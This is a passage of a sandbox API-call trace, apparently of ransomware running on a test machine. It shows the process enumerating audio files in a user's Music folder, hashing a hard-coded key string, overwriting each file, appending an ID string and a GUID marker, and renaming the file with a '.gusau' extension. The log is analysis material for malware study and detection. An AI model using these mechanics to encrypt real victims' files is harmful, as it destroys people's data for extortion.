(HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0117.345] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bS4AaW9eUKRKSJX2c.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bs4aaw9eukrksjx2c.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bS4AaW9eUKRKSJX2c.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bs4aaw9eukrksjx2c.m4a.gusau")) returned 1 [0117.345] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.345] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0a48 | out: hHeap=0xd10000) returned 1 [0117.346] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.346] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\desktop.ini") returned=".ini" [0117.346] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.346] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x281151c0, ftCreationTime.dwHighDateTime=0x1d4c703, ftLastAccessTime.dwLowDateTime=0x13b7a0e0, ftLastAccessTime.dwHighDateTime=0x1d4ceb9, ftLastWriteTime.dwLowDateTime=0x13b7a0e0, ftLastWriteTime.dwHighDateTime=0x1d4ceb9, nFileSizeHigh=0x0, nFileSizeLow=0xf8a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eySD-sWxKcR.m4a", cAlternateFileName="EYSD-S~1.M4A")) returned 1 [0117.346] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.347] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.347] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.347] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\eySD-sWxKcR.m4a") returned=".m4a" [0117.347] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\eySD-sWxKcR.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\eysd-swxkcr.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.347] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=63652) returned 1 [0117.347] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.349] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf87e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.349] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.351] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.351] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.351] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.351] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xf8a4, lpOverlapped=0x0) returned 1 [0117.351] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.351] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.352] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.352] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.352] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.352] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.352] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.352] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.352] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.352] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.353] GetLastError () returned 0x0 [0117.353] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.353] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.353] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.353] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xf8a0) returned 0x39f9f20 [0117.353] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.353] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.353] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xf89f, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xf89f, lpOverlapped=0x0) returned 1 [0117.353] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.353] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xf8a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.353] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.353] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.354] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.354] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.354] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.354] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.354] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.354] CloseHandle (hObject=0x610) returned 1 [0117.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941b80 [0117.355] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x880) returned 0x39f5430 [0117.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3941b80 | out: hHeap=0xd10000) returned 1 [0117.355] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\eySD-sWxKcR.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\eysd-swxkcr.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\eySD-sWxKcR.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\eysd-swxkcr.m4a.gusau")) returned 1 [0117.355] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.356] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.356] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.356] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5ed860, ftCreationTime.dwHighDateTime=0x1d4cf7b, ftLastAccessTime.dwLowDateTime=0xf19cd60, ftLastAccessTime.dwHighDateTime=0x1d4cd1a, ftLastWriteTime.dwLowDateTime=0xf19cd60, ftLastWriteTime.dwHighDateTime=0x1d4cd1a, nFileSizeHigh=0x0, nFileSizeLow=0x8974, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FB pP.m4a", cAlternateFileName="FBPP~1.M4A")) returned 1 [0117.356] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.357] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.357] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.357] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FB pP.m4a") returned=".m4a" [0117.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FB pP.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fb pp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.358] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=35188) returned 1 [0117.358] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.360] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x894e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.360] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.361] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.361] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.361] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.361] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x8974, lpOverlapped=0x0) returned 1 [0117.362] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.362] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.362] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.362] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.362] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.363] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.363] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.363] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.363] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.363] GetLastError () returned 0x0 [0117.363] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.363] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.363] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8970) returned 0x39f9f20 [0117.363] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.363] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.363] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x896f, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x896f, lpOverlapped=0x0) returned 1 [0117.364] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.364] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x8974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.364] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.364] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.364] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.364] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.364] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.364] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.364] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.364] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.364] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.364] CloseHandle (hObject=0x610) returned 1 [0117.365] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.365] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x870) returned 0x39f5430 [0117.365] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.365] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FB pP.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fb pp.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FB pP.m4a.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fb pp.m4a.gusau")) returned 1 [0117.366] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.366] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.367] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56121b0, ftCreationTime.dwHighDateTime=0x1d4c92d, ftLastAccessTime.dwLowDateTime=0xf5f67880, ftLastAccessTime.dwHighDateTime=0x1d4c6c3, ftLastWriteTime.dwLowDateTime=0xf5f67880, ftLastWriteTime.dwHighDateTime=0x1d4c6c3, nFileSizeHigh=0x0, nFileSizeLow=0xc15f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FC0AY.wav", cAlternateFileName="")) returned 1 [0117.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.367] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.367] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.367] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FC0AY.wav") returned=".wav" [0117.367] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FC0AY.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fc0ay.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.367] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=49503) returned 1 [0117.367] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.370] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xc139, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.370] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.371] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.371] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.371] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.371] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0xc15f, lpOverlapped=0x0) returned 1 [0117.372] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.372] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.372] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.372] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.372] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0a48) returned 1 [0117.373] CryptCreateHash (in: hProv=0xdf0a48, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.373] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.373] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.373] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.373] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.373] GetLastError () returned 0x0 [0117.373] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.373] CryptReleaseContext (hProv=0xdf0a48, dwFlags=0x0) returned 1 [0117.373] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.373] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc160) returned 0x39f9f20 [0117.374] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.374] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.374] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0xc15a, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0xc15a, lpOverlapped=0x0) returned 1 [0117.374] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.374] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0xc15f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.374] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.374] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0117.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.374] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0117.374] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.374] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.374] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.374] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0117.374] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.374] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.374] CloseHandle (hObject=0x610) returned 1 [0117.375] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.375] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x870) returned 0x39f5430 [0117.375] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.375] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FC0AY.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fc0ay.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\FC0AY.wav.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fc0ay.wav.gusau")) returned 1 [0117.377] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.377] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf3140 | out: hHeap=0xd10000) returned 1 [0117.378] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2993080, ftCreationTime.dwHighDateTime=0x1d4c54d, ftLastAccessTime.dwLowDateTime=0xff7df40, ftLastAccessTime.dwHighDateTime=0x1d4cad3, ftLastWriteTime.dwLowDateTime=0xff7df40, ftLastWriteTime.dwHighDateTime=0x1d4cad3, nFileSizeHigh=0x0, nFileSizeLow=0x1e1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FiSO1uvHs5.wav", cAlternateFileName="FISO1U~1.WAV")) returned 1 [0117.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.378] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x76) returned 0xdf3140 [0117.378] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: 